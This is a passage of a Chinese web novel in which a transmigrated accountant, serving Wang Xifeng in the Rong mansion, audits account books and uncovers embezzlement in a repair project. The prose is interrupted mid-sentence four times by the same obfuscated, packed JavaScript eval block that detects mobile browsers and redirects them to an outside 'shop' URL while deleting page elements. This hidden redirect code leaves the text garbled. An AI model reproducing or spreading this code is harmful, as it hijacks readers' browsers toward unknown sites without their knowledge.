苏璃心中早有腹稿，流利地答道：“回二奶奶，奴婢的爹……早年间曾在镇上杂货铺做过几天账房学徒，后来铺子倒了，就没再做了。奴婢小时候在旁边看，偷偷记下了一些，爹见奴婢有点兴趣，闲时便教了奴婢几个数字和简单的算法。后来……爹娘都没了，这点本事也就荒废了，没想到今日……能在奶奶面前献丑。” 她将缘由推给已故的“爹”，时间久远，无从考证，合情合理。语气中带着对往事的怀念和伤感，更添几分真实。 王熙凤听了，不置可否。她并不完全相信这套说辞，但眼下也无需深究。她需要的是能力，至于这能力的来历，只要不威胁到她的地位，可以暂时搁置。 “嗯。”王熙凤沉吟片刻，凤眸一转，看向平儿，“平儿，去把我前儿看的那本最近三个月采买柴炭的流水账拿来。” 平儿应声而去，很快取来一本蓝皮账簿。 王熙凤将账簿递给苏璃，语气平淡却带着考验：“你既然会算，就把这三个月柴炭的总支出，给我重新核算一遍。平儿，你在一旁看着。” 这不是简单的加法，三个月的流水，条目繁多，字迹潦草，中间可能还有涂改和特殊符号，极其考验耐心、眼力和计算的准确性。这不仅是考校算盘技巧，更是考验心性和细致程度。 “是。”苏璃双手接过那本沉甸甸的、带着墨迹和污渍的账簿，感觉手心有些冒汗。她知道，这是决定她能否跳出杂役院的关键一步。 她没有立刻开始，而是先快速浏览了一遍账簿的格式和记录习惯，心中默默熟悉。然后，她深吸一口气，将算盘放在膝上，指尖抚上冰凉的算珠，整个人瞬间进入了一种奇异的专注状态。 前世作为顶尖会计师，面对海量复杂数据都能泰然处之，眼前这古朴的账簿，虽繁琐，却远不及现代财务报表的复杂度。她需要克服的，主要是繁体数字和竖排书写带来的不便。 噼啪……噼啪…… 清脆的算珠声再次响起，不急不躁，带着一种稳定的节奏。苏璃的手指在算盘上飞舞，目光在账簿上快速扫过，心算与珠算结合，速度快得让一旁的平儿暗暗吃惊。更令人惊讶的是她的专注，仿佛周遭的一切都已不存在，只剩下账簿上的数字和手中的算盘。 王熙凤看似随意地翻看着另一本账册，眼角的余光却始终没有离开苏璃。她看到那个瘦小的身影跪在地上，背脊却挺得笔直，低垂的侧脸线条专注而沉静，与刚才的惶恐判若两人。这种极强的反差，让王熙凤心中那个模糊的念头越发清晰。 时间一点点过去，炭盆里的火苗摇曳，映照着苏璃认真的脸庞。额角渗出细密的汗珠，她也顾不上擦。约莫过了大半个时辰，她终于停下了动作，轻轻吐出一口气。 “回二奶奶，算好了。”苏璃的声音因长时间专注而略带沙哑，但清晰稳定，“账簿记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908577|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 录三月柴炭总支出为一百八十五两七钱。奴婢复核后，总额应为一百七十六两四钱三分。相差九两二钱七分。” 王熙凤瞳孔微缩！这个数目，与她心中隐约觉得不对的差额非常接近！ 她之前粗略看过，就觉得这柴炭开销似乎有些过头，但账目做得看似平整，一时抓不到把柄。没想到，这个头竟然如此精准地算了出来！ “平儿，你核对的数目是多少？”王熙凤看向平儿。平儿心细，也早已暗中复核过。 平儿压下心中的震惊，恭敬回道：“奶奶，奴婢核对的数目，与柳絮算出的，分毫不差。” 房间里再次陷入寂静。王熙凤看着苏璃，眼神彻底变了。这已不仅仅是“会拨弄算盘”了，这是实打实的真本事！在如此短的时间内，从杂乱账目中找出近十两银子的差额，这份能力，府里账房那几个老家伙也未必能轻易做到！ “好，很好。”王熙凤的脸上终于露出了一丝真正的笑意，虽然那笑意未达眼底，却足以让室内的气氛为之一松。“看来，你爹倒是给你留了个吃饭的本事。” 她顿了顿，手指摩挲着腕上的玉镯，做出了决定：“从明日起，你不用再回杂役院了。平儿，带她去后面换身衣裳，以后……就在我这院子里当差，先跟着你，学学规矩，帮着看看一些简单的账目。” 苏璃心中一块大石轰然落地！她强压下翻涌的情绪，重重磕下头去，声音带着难以抑制的激动和感激：“谢二奶奶恩典！奴婢一定尽心竭力，报答奶奶的大恩大德！” 这一步，她终于迈出去了！从暗无天日的杂役院，踏入了荣国府权力核心的边缘地带。虽然前途依旧吉凶未卜，但至少，她赢得了第一个，也是最重要的一个机会。 平儿上前，温和地扶起苏璃：“跟我来吧。” 苏璃站起身，因长时间跪坐，腿脚有些发麻，踉跄了一下。平儿及时扶住了她，眼中带着一丝同情和好奇。 跟着平儿走出厢房，穿过抄手游廊，走向后院仆役们的住处。苏璃回头望了一眼那间温暖却充满压迫感的屋子，心中清楚，从这一刻起，她不再是杂役柳絮，而是琏二奶奶院里新来的丫鬟。 等待她的，将是更复杂的局面，更微妙的人际关系，以及王熙凤更深层次的利用和考验。但她无所畏惧。 因为，这是她自己挣来的路。 5. 初入琏二奶奶院 平儿领着苏璃，穿过几道月亮门，来到王熙凤正房后的一排厢房。 这里是院内大丫鬟和有些体面的婆子们居住的地方，虽仍是仆役住所，但比杂役院的大通铺不知强了多少倍。每间房住两到三人，窗明几净，甚至有简单的桌椅和妆奁。 平儿推开其中一扇门，里面陈设简单，却整洁温暖。靠窗一张炕，对面一张小榻，地上还放着两个箱笼。 “这间房原本住着秋纹和碧痕，前儿秋纹家里来人求了恩典，放出去配人了，正好空出一个铺位。你暂且住这里，和碧痕一起。”平儿的声音温和，带着一种安抚人心的力量，“碧痕性子直爽，是个好相处的，你莫要担心。” 苏璃连忙道谢：“谢平儿姐姐安排。” 平儿笑了笑，从一旁的柜子里取出一套半新的青缎子背心和一条藕荷色的裙子，递给苏璃：“这是秋纹留下的衣裳，浆洗得干净，你先换上。在奶奶院里当差，穿戴需得整齐些，不能像在杂役院时那般随意。回头我再让人给你量尺寸，做两身新的。” 苏璃接过衣裳，触手是细软光滑的缎子，与她之前粗糙的麻布衣截然不同。这不仅仅是衣服的更换，更是身份的象征。她再次道谢，心中对平儿的细致周到生出几分好感。 “你先换衣裳，收拾一下。我去回禀奶奶，再看看给你安排什么活计。”平儿说着，便转身出去了，体贴地替她带上了门。 房间里只剩下苏璃一人。她环顾这个小小的空间，心中百感交集。从潮湿阴冷的杂役院大通铺，到如今这间虽然简陋却属于个人的角落，她终于在这座深宅大院里，拥有了第一块立锥之地。 她迅速换上新衣，料子贴身舒适，尺寸也大致合适。她将换下的旧衣仔细叠好，这身衣服承载了她最初穿越而来的记忆，她打算留下。然后，她将炕上属于她的那块地方整理平整，动作麻利，一丝不苟。 刚收拾停当，门被推开了，一个穿着红绫袄、青缎掐牙背心，面容俏丽，眼神透着一股伶俐劲的丫头走了进来，想必就是碧痕了。 碧痕看到屋里多了个人，愣了一下，随即上下打量了苏璃几眼，眼神里带着毫不掩饰的好奇和审视：“你就是平儿姐姐说的，新来的？叫柳絮？” “是，碧痕姐姐好，以后还请姐姐多指点。”苏璃站起身，恭敬地行了个礼，姿态放得很低。 见她态度恭顺，碧痕脸上的神色缓和了些，大喇喇地在炕沿坐下：“指点谈不上，这院里的规矩，你慢慢学就是了。听说……你算盘打得好，得了奶奶的青眼？”语气里带着几分打探。 苏璃心中明了，自己“空降”而来，又带着点“特殊技能”，难免引人注目和猜忌。她谦逊地答道：“不敢当奶奶青眼，只是侥幸会一点皮毛， 恰巧帮李嫂子算了点小账，蒙奶奶不弃，给个机会罢了。往后还要靠姐姐们多多提携。” 她将功劳推给“侥幸”和“恰巧”，强调自己是来“学习”的，姿态放得极低，有效消减了碧痕可能产生的敌意。 果然，碧痕见她如此上道，脸上露出了笑容，话也多了起来：“算账可是个精细活儿，你能得奶奶看重，那是你的造化。咱们院里，平儿姐姐是头一份的，最得奶奶信任，掌管着奶奶的私房和要紧账目。其次是丰儿姐姐，负责奶奶的衣裳首饰和屋里的大小摆设。再就是我们这些……” 碧痕快人快语，将院里的主要人物和分工大致介绍了一遍。苏璃认真听着，默默记下每个人的名字和职责，这些都是她未来需要小心应对的人际网络。 正说着，平儿又回来了，手里还拿着几本账册。 “柳絮，奶奶吩咐了，你刚来，先不急着接触要紧的账本。这几本是往年一些不太重要的采买流水和库房旧档，你先拿去熟悉一下府里往来的项目和记账的格式规矩。”平儿将账册递给苏璃，又补充道，“平日里，你先跟着碧痕，学学屋里的规矩，看看如何伺候奶奶起居用饭、递茶送水。珠算的本事不能丢，但伺候人的本分更要紧，明白吗？” “是，平儿姐姐，奴婢明白。”苏璃双手接过账册，心中清楚这是王熙凤的进一步考验和打磨。既要她用其才，又要磨其性，让她彻底融入丫鬟的身份，懂得尊卑规矩。 平儿点点头，又对碧痕说：“碧痕，柳絮新来，你多带带她。” “放心吧，平儿姐姐。”碧痕爽快地应下。 平儿离开后，碧痕便带着苏璃出了房门，开始熟悉院内的环境。从正房、厢房、到茶房、小厨房，一一指给她看，并讲解每日的作息时间和各处的规矩。 “奶奶每日辰初（早上七点）起身，咱们得提前准备好洗漱的热水和衣裳……奶奶不喜熏香过浓，屋里的熏笼要把握分寸……奶奶用饭时，布菜要均匀，不能专拣一样……奶奶午歇时，屋里要有人值守，但不能有动静……” 碧痕讲得仔细，苏璃听得认真，不时提出一两个恰到好处的问题，显得虚心好学。她的适应能力和学习速度让碧痕有些惊讶，原本以为从杂役 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908578|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院来的会笨手笨脚，没想到这柳絮举止有度，一点就通。 傍晚时分，王熙凤从外面回来，脸色有些疲惫，眉宇间带着一丝不易察觉的烦躁。平儿和丰儿连忙上前伺候更衣、奉茶。 苏璃和碧痕等小丫鬟垂手站在外间，听候吩咐。这是苏璃第一次以如此近的距离，观察王熙凤处理家务。 只见王熙凤斜倚在炕上，揉了揉眉心，对平儿道：“东府里大老爷那边，又为清虚观打醮的事派人来问，银子总支应不上，真是……一个个都不省心。”语气里透着无奈和厌烦。 平儿轻声劝慰了几句，又道：“庄子上送来的年货单子初步拟好了，奶奶可要过目？” “先放着吧，明日再看。”王熙凤摆摆手，目光不经意间扫过外间，看到了垂手侍立的新面孔苏璃，眼神微顿，却什么也没说，只吩咐道，“摆饭吧。” 晚饭时，苏璃按照碧痕的指点，小心翼翼地在一旁伺候布菜、递巾帕。她动作虽不如其他丫鬟熟练，但沉稳细致，眼神专注，时刻留意着王熙凤的需求，竟也没出什么差错。 王熙凤似乎心事重重，吃得不多，偶尔抬眼，看到苏璃那副谨慎认真的模样，眼底深处闪过一丝难以察觉的考量。 饭后，王熙凤漱了口，由平儿陪着去给贾母请安。院里的丫鬟们这才松了口气，各自忙活收拾。 苏璃回到小屋，点亮油灯。碧痕和其他几个相熟的丫鬟凑在一起说笑玩闹，她却拿出平儿给的那几本旧账册，就着昏黄的灯光，一页一页仔细翻阅起来。 这些虽然是“不重要”的旧档，但却是了解贾府内部运作、物资流转和价格体系的绝佳窗口。她看得极其认真，不时用手指在桌上虚划，模拟着计算。 碧痕玩了一会儿，见她如此用功，忍不住凑过来：“哟，这么用功呢？这些陈年旧账有什么好看的？” 苏璃抬起头，笑了笑：“平儿姐姐交代的差事，不敢怠慢。也多看看，才能更快熟悉府里的事，免得日后出错，给奶奶和姐姐们添麻烦。” 她的回答滴水不漏，既表现了勤勉，又体现了对上级吩咐的重视。碧痕听了，撇撇嘴，觉得她有些无趣，便又回去说笑了。 苏璃并不在意。她知道，融入需要时间，而眼下，抓紧一切机会提升自己对这个世界的“数据”掌握，才是最重要的。灯光下，她的侧影沉静而坚定，与窗外丫鬟们的嬉笑声形成了鲜明的对比。 在这琏二奶奶的深院里，她的新征程，才刚刚开始。 6. 旧账藏奸 日子一天天过去，苏璃在王熙凤院里的生活逐渐步入一种新的轨道。 她白日里跟着碧痕学习规矩，熟悉院内各项琐事，从端茶递水到铺床叠被，从传话跑腿到应对各房来往的仆妇，每一个细节都力求做到符合规范，不出差错。 她态度恭顺，学习刻苦，加上本身心思缜密，举一反三，很快便将一个贴身大丫鬟该有的日常举止学得像模像样。碧痕起初还存着几分看热闹的心思，见她学得又快又好，待人接物也颇有分寸，那点微妙的芥蒂便也渐渐淡了，偶尔还会真心指点她几句。 平儿将苏璃的进步看在眼里，心中暗暗点头。这个头，确实是个可造之材，不仅有过人的算学天赋，难得的是性子沉得住气，不骄不躁，懂得藏拙。她开始将一些稍微重要些的活计交给苏璃，比如核对小厨房的日常采买单，或者清点库房里不太紧要的绸缎尺头。 苏璃每次都完成得一丝不苟，账目清晰，物品数目准确，从未出过纰漏。但她始终牢记自己的身份，谨言慎行，除了分内之事，从不打听任何不该她知道的消息，也绝不轻易与院内院外的人结交。这份超出年龄的沉稳和分寸感，让平儿和王熙凤都越发觉得可用。 然而，真正的考验，总是在不经意间降临。 这日午后，王熙凤午歇刚起，外面就传来一阵略显急促的脚步声和压低的争执声。平儿皱了皱眉，示意苏璃出去看看。 苏璃轻手轻脚走到门外，只见林之孝家的正拦着一个面生的、穿着体面管家模样的人，那人手里捧着一本厚厚的账册，脸上带着焦急和不忿。 “周瑞家的，不是我不给你通报，实在是奶奶刚起身，精神还没养回来，这会儿见不得烦心事。你那账本，缓一两天再回，又能如何？”林之孝家的低声劝道。 那被称作周瑞家的管家跺脚道：“林姐姐，不是我不懂事，实在是这账……庄子上催得紧，说是去年秋天修缮别院渠塘的尾款，再不结清，工匠们就要闹将起来，影响了春耕，这责任我可担待不起啊！这本是旧年老爷在时就定下的工程，账目往来都在这里头，得请奶奶过目用印才行！” 苏璃听在耳中，心中一动。修缮别院渠塘？这听起来是项不小的工程。她不动声色地退回屋内，向平儿低声回禀了外面的情况。 平儿听了，走到王熙凤身边，轻声将事情说了。王熙凤刚睡醒，带着几分慵懒和起床气，闻言眉头就蹙了起来，不耐烦地道：“又是这些陈年旧账！老爷在时糊涂账一堆，如今倒都找到我头上来了！让他进来吧。” 周瑞家的得了准许，连忙捧着账本进来，恭恭敬敬地行了个礼，将账本呈上：“给二奶奶请安。这是去年修缮西郊别院渠塘的工料总账，请您过目。” 王熙凤懒洋洋地接过账本，随手翻了几页。上面密密麻麻记录着各种建材、人工的费用，数目不小，总计竟要五百两银子。她越看眉头皱得越紧，这笔开销她隐约有印象，但具体细节早已模糊。如今府里银钱吃紧，每一笔大额支出都让她心头滴血。 “这账……我记得之前不是支过一部分了吗？怎么还有这么一大笔尾款？”王熙凤将账本往炕几上一扔，语气不悦。 周瑞家的忙道：“回奶奶，之前是支了二百两的备料钱，如今工程完毕，工匠们的工钱、还有后续的一些石料、木料尾款，都等着结算呢。账目明细都在这里，一笔笔都记得清楚。” 王熙凤揉了揉太阳穴，她对这种工程细账并不十分在行，而且这账目看似平整，一时也挑不出明显错漏。但直觉告诉她，这里面恐怕有水分。若是平常，她或许就捏着鼻子认了，但现在……她目光瞥向垂手侍立在一旁的苏璃。 “柳絮。”王熙凤忽然开口。 苏璃心头一凛，上前一步：“奴婢在。” “你来看看这本账。”王熙凤将账本推到她面前，语气听不出喜怒，“瞧瞧这里面的数目，可有什么不妥当地地方。” 刹那间，屋内的目光都集中到了苏璃身上。周瑞家的眼神里带着惊疑和一丝不易察觉的轻视，显然不信这个面生的小丫头能看出什么。 平儿眼中则流露出些许担忧，这可不是简单的复核，而是直接审查一笔可能存在问题的陈年旧账，牵扯到府里的老人和外面的关系，一个处理不好，就会得罪人。 苏璃知道，这是王熙凤对她能力的又一次，也是更直接的一次考验。 她平静地应了声“是”，双手捧起那本沉甸甸的账册，走到一旁的小杌子上坐下，并没有立刻翻阅，而是先向周瑞家的询问道：“周管家，不知这别院渠塘修缮，具体是何时动工，何时完工？主要负责的工头是哪一位？主要的石料、木料又是从哪家商号采买的？” 她问得条理清晰，切中要害。周瑞家的愣了一下，没想到这丫头问得如此专业，只得一一回答：“是去年八月中动工，十月底完工的。工头是常来往府里的张石头。石料是从城西刘记石行买的，木料是王木匠提供的。” 苏璃点点头，不再多问，低下头，开始专注地翻阅账册。她的阅读速度极快，目光如扫描仪一般掠过一行行数字和文字，手指无意识地在膝上轻轻点动，那是她心算时的习惯动作。 王熙凤端起茶杯，慢条斯理地呷着，眼角余光却时刻关注着苏璃的反应。平儿安静地站在一旁，心中暗自捏了一把汗。 时间一点点流逝，只有书页翻动的沙沙声和炭火的轻微噼啪声。周瑞家的起初还有些紧张，见苏璃久久不语，渐渐放下心来，觉得这丫头不过是装模作样。 忽然，苏璃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908579|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻页的手指停住了。她的目光凝滞在某一页记录人工支出的地方，眉头微微蹙起，似乎在反复确认着什么。接着，她又快速向前翻了几页，对照着某些数据，指尖在几个关键数字上轻轻划过。 良久，她合上账册，站起身，走到王熙凤面前，神色平静，但眼神清澈坚定。 “回二奶奶，奴婢粗略看了一遍，发现几处可能存疑的地方。” “哦？说来听听。”王熙凤放下茶杯，身体微微前倾。 苏璃不卑不亢，条理清晰地陈述道：“第一，是人工支出。账册记录雇佣力工三十人，工期七十五天。但根据京城寻常力工的工价，即便是包工，如此长的工期，人均日工钱记录为八十文，略高于市价，尚在合理范围。可疑之处在于，账目显示力工总计工作两千二百五十个工日，但三十人工作七十五天，满打满算应是两千二百五十个工日，这意味着所有力工全程无一日缺勤？这在长达两个多月的工程中，几乎不可能。通常会有因病、因事缺勤的情况，账目却按满额计算，此处或有虚报工日的嫌疑。” 周瑞家的脸色微变，张了张嘴想辩解，被王熙凤一个眼神制止了。 苏璃继续道：“第二，是石料支出。账目记录采购青石若干方，单价亦符合市价。但奴婢对照前期备料记录和后期结算记录，发现同种规格的青石，前后单价有细微差异，虽每方只差几文钱，但总量巨大，累计下来也有数两银子之差。这不符合常理，通常大批采购，价格应更统一。” “第三，”苏璃翻到最后一页总账，“也是最关键的一处。奴婢将各项支出重新加总核算，发现账册记录的最终总额五百两，比奴婢核算出的实际应支付总额，多出了约二十八两银子。” “二十八两？”王熙凤凤眸眯起，声音冷了几分。这可不是个小数目，足够一个普通庄户人家几年的嚼用。 周瑞家的额头瞬间冒出了冷汗，急声道：“奶奶明鉴！这……这或许是记账时疏忽，算错了也是有的……” 苏璃平静地补充道：“周管家，奴婢还未说完。这多出的二十八两，并非均匀分布在各项支出中，而是主要集中在人工和部分耗材的零星加项上，做得颇为隐蔽。若非逐项复核加总，极易被忽略。而且，奴婢注意到，有几笔零散耗材的采购记录，笔记墨色与前后文略有差异，像是后来添加的。” 这话一出，意图就非常明显了。这已经不是简单的计算失误，而是有意的账目造假，中饱私囊！ 王熙凤的脸色彻底沉了下来，目光如刀锋般扫向周瑞家的。房间里的空气仿佛都凝固了。 苏璃垂首而立，心中平静。她知道，自己这把刀，第一次出鞘，已然见血。而这，仅仅是个开始。贾府这潭深水下的污浊，远比她想象的要多。 7. 一鸣惊人 王熙凤房中，空气凝滞如冰。 周瑞家的脸色由红转白，冷汗涔涔而下，几乎浸湿了衣领。她噗通一声跪倒在地，声音发颤：“二奶奶明鉴！这、这定是账房先生记录时出了差错，或是下面的人胡乱填报，奴婢实在不知情啊！” 王熙凤并不看她，只盯着那本账册，指尖在炕几上轻轻敲击，每一下都像是敲在周瑞家的心尖上。良久，她才缓缓抬起眼，目光先落在垂首恭立的苏璃身上，锐利如鹰隼，带着审视，也带着一丝极淡的、几乎无法察觉的激赏。 “不知情？”王熙凤的声音不高，却带着刺骨的寒意，“你身为管事，一句不知情，就能推卸掉所有干系？五百两的工程，二十八两的虚头，好大的胃口！是不是觉得老爷不管事，我又年轻脸嫩，便敢这般糊弄？” “奴婢不敢！奴婢万万不敢！”周瑞家的连连磕头，声音带着哭腔，“奴婢对府里、对奶奶忠心耿耿，定是下面的人搞鬼，奴婢回去一定严查！请奶奶给奴婢一个机会！” “查？自然要查。”王熙凤冷哼一声，语气不容置疑，“但这账，既然已经摆到了我面前，就不能这么不清不楚地过去。平儿，” “奶奶。”平儿上前一步。 “拿着这本账，带着柳絮，现在就去外院账房，把当初经手这笔账的所有底档、条子都给我调出来，一笔一笔地对！再去库里查查当初领用材料的记录，看看是否对得上数。”王熙凤吩咐道，凤眸中寒光闪烁，“我倒要看看，是哪个胆大包天的，敢在我眼皮子底下玩这种花样！” “是。”平儿肃然应下。 王熙凤这才又看向苏璃，语气缓和了些，却依旧带着威压：“柳絮，你跟着平儿去。账是你看出来的，哪里有问题，你最清楚。” “是，二奶奶。”苏璃恭顺应道，心中明白，这是要将她推向前台，也是要将这“查账立功”的名头，牢牢扣在她身上。福兮祸所伏，今日出了这个风头，往后在这府里，她便再也不能完全隐藏在幕后了。 平儿接过账本，对苏璃使了个眼色，两人一同退了出去。周瑞家的还跪在地上，面如死灰。 出了正房，穿过回廊，平儿才轻轻舒了口气，看向苏璃的目光带着复杂的惊叹：“柳絮，你……你可真是……”她一时竟找不到合适的词来形容。方才在屋里，苏璃条分缕析、一针见血地指出账目问题的那一幕，实在太过震撼。那不是一个丫鬟该有的能力和胆识。 苏璃微微低头，语气依旧谦逊：“平儿姐姐谬赞了，奴婢只是侥幸看得仔细些，当不得什么。” “这可不是侥幸。”平儿摇头，正色道，“你这本事，放在哪里都是顶尖的。奶奶……奶奶这是捡到宝了。”她顿了顿，声音压低了些，“只是，木秀于林，风必摧之。今日之后，府里不知多少双眼睛会盯着你，你需得更加谨慎才是。” “谢姐姐提点，奴婢记住了。”苏璃感激地看了平儿一眼。平儿的善意提醒，在这个步步惊心的环境里，显得尤为珍贵。 两人来到外院账房。账房里的几位先生见平儿亲自来了，身后还跟着一个面生的小丫鬟，都有些诧异。等平儿说明来意，要调取西郊别院渠塘修缮的所有账目底档时，账房里的气氛顿时微妙起来。 一位姓钱的老账房推了推眼镜，皱着眉为难道：“平姑娘，不是我们不配合，只是这陈年旧账，翻找起来甚是麻烦，而且涉及工程采买，许多条子未必都收在账房……” 平儿在王熙凤身边多年，岂能看不出这推诿之意？她脸上依旧带着温和的笑意，语气却不容置疑：“钱先生，这是二奶奶的吩咐。奶奶等着回话，麻烦诸位先生辛苦一下，立刻将所有相关底档、条据都找出来。若是找不齐……奶奶的脾气，诸位是知道的。” 提到王熙凤，钱账房等人脸色变了变，互相看了一眼，这才不情不愿地动起来，翻箱倒柜地寻找。 苏璃安静地站在平儿身后，目光却敏锐地扫过账房内的陈设和每个人的神情。她注意到，其中一个年轻些的账房，在听到“西郊别院渠塘”时，眼神闪烁了一下，动作也有些迟疑。 底档和一堆杂乱的字条很快被搬了出来，堆了半桌子。平儿看向苏璃。 苏璃会意，上前一步，对几位账房先生福了一礼，声音清晰柔和：“有劳诸位先生。奴婢奉二奶奶之命，复核此账。可否请诸位行个方便，将人工记录底册、石料木料采买单据，以及库房领用记录分开，容奴婢一一核对？” 她态度恭敬，言语在理，让人挑不出错处。钱账房等人虽心中不以为然，觉得一个小丫头能看出什么，但碍于平儿在场，也只能照做。 苏璃坐在特意给她搬来的小杌子上，开始工作。她先拿起那本人工记录底册，快速浏览。这底册比呈给王熙凤的总账要原始得多，上面有每日工头张石头画押确认的工人出勤记录。 她看得极快，手指顺着日期和名字下滑，心中默算。果然，底册上的出勤记录并非满额，时有缺勤，但缺勤的人数和天数，与总账上体现的“全额工日”完全对不上。她拿起旁边一叠力工领工钱的画押条子，两相对照，发现有些画押的笔迹略显潦草，与平日稳定的笔迹有细微差别，且集中在工程后期的某些日期。 “平儿姐姐，”苏璃抬起头，指着那几处可疑的记录，“您看这里，底册记录当日有三名力工因雨未出工，但工钱画押条上却有他们的名字和指印。还有这几张条子，笔迹与之前同人的笔迹略有不同，墨色也新一些。” 平儿凑过去仔细一看，她心细，经苏璃提醒，也立刻看出了端倪，脸色沉了下来。 苏璃又拿起石料采买的单据。刘记石行的单据倒是规整，但苏璃注意到，前期和后期的单据格式有极其细微的差别，印鉴的清晰度也略有不同。她将前后期单价不同的单据挑出来，对比之下，发现后期那几张单价略高的单据，纸张边缘磨损程度似乎比前期单据还要轻些。 “这些单据……似乎并非一次开具。”苏璃沉吟道，“而且，若真是后期补料，数量不大，价格反而比前期大批采购时更高，于理不合。” 最后是库房领用记录。记录显示领了一批青石用于别院渠塘，但数目与采买总数对不上，有约莫两成的差额。库房记录的解释是“途中损耗及砌筑裁切损耗”。 苏璃看向钱账房，客气地问道：“钱先生，依府里惯例，如此规模的石料工程，途中损耗与裁切损耗，一般会计入几成？” 钱账房没想到她会直接问自己，愣了一下，才含糊道：“这个……视情况而定，一般在一成到一成五之间。” “两成，是否偏高了些？”苏璃语气平和，却步步紧逼。 钱账房额头见汗，支吾着说不出话来。 到了这个地步，情况已经基本明朗。人工、石料、乃至所谓的“损耗”，都存在虚报、造假的问题。那二十八两银子的去向，也有了清晰的脉络——多半是落入了工头、采买经手人，甚至可能包括账房里某些人的口袋。周瑞家的即便不是主谋，也难逃失察之罪，甚至可能参与了分润。 平儿看着苏璃在杂乱的字条和账册间，抽丝剥茧，将问题一个个揪出，心中震撼无以复加。这已不仅仅是算盘打得好的问题了，这分明是顶尖的刑名师爷才能有的查账手段！这柳絮，究竟是什么来头？ 她深吸一口气，将苏璃挑出的所有问题单据和记录整理好，对账房众人道：“今日之事，暂且到此。这些底档和单据，我先带回去回禀二奶奶。诸位先生，今日辛苦了。”语气虽淡，却带着警告。 说完，便带着苏璃离开了账房。 回去的路上，平儿沉默良久，才轻声对苏璃道：“今日之事，你做得极好。奶奶……定然会重赏于你。” 苏璃却并无喜色，只是低声道：“为奶奶分忧是奴婢的本分。只是，经此一事，怕是会得罪不少人……” 平儿叹了口气：“在这府里当家，岂能不得罪人？只要你一心为奶奶办事，奶奶自然会护着你。”话虽如此，她眼中也掠过一丝忧色。柳絮这把刀太过锋利，用起来顺手， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908580|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却也容易伤到自己，更会招来嫉恨。 回到王熙凤院中，平儿将查账结果一五一十回禀，并将可疑单据一一指给王熙凤看。 王熙凤听着，看着，脸色阴沉得能滴出水来。她掌管荣国府以来，知道下面的人手脚不干净，却没想到竟如此猖獗，一个几百两的工程就敢贪墨近三十两！ “好，好得很！”王熙凤气极反笑，“一个个都把我当冤大头了！周瑞家的呢？” “还在外面跪着。”平儿回道。 “让她滚回去闭门思过！革她三个月月钱！告诉她，若是查实她知情不报甚至参与其中，仔细她的皮！”王熙凤厉声道，随即又吩咐，“去把那个工头张石头给我捆来！还有，拿着刘记石行的单据，去找刘掌柜‘好好’问问！账房里……哼，回头再收拾他们！” 一连串命令发下去，雷厉风行，带着腾腾杀气。下人领命而去，屋内一时寂静。 王熙凤这才将目光重新投向一直安静侍立的苏璃，眼中的厉色渐渐被一种复杂的情绪取代。她招了招手：“柳絮，你过来。” 苏璃走上前。 王熙凤打量着她，仿佛第一次真正认识这个瘦小的丫鬟。看了半晌，她才缓缓开口，声音里带着一丝不易察觉的叹赏：“今日，你立了大功。若不是你，这二十八两银子，就成了别人的囊中之物了。” “奴婢不敢居功，是奶奶明察秋毫。”苏璃低眉顺眼。 “有功就是有功。”王熙凤摆摆手，对平儿道，“平儿，取十两银子来，赏给柳絮。再从我的库里，拣两支素银簪子，两匹时新尺头给她。” 十两银子！这赏赐不可谓不重！几乎相当于一个二等丫鬟好几年的月钱。连平儿都微微动容。 苏璃心中也是一震，立刻跪下：“谢奶奶重赏！只是……这赏赐太厚，奴婢受之有愧……” “给你，你就拿着。”王熙凤语气不容拒绝，“这是你应得的。从今日起，你便跟在我身边，做个贴身伺候的丫鬟，月钱按一等丫鬟的份例发放。那些简单的账目，你看熟了，往后……还有更重要的交给你。” 贴身丫鬟！一等份例！ 苏璃强压下心中的激动，重重磕下头去：“谢奶奶恩典！奴婢定当竭尽全力，报答奶奶！” 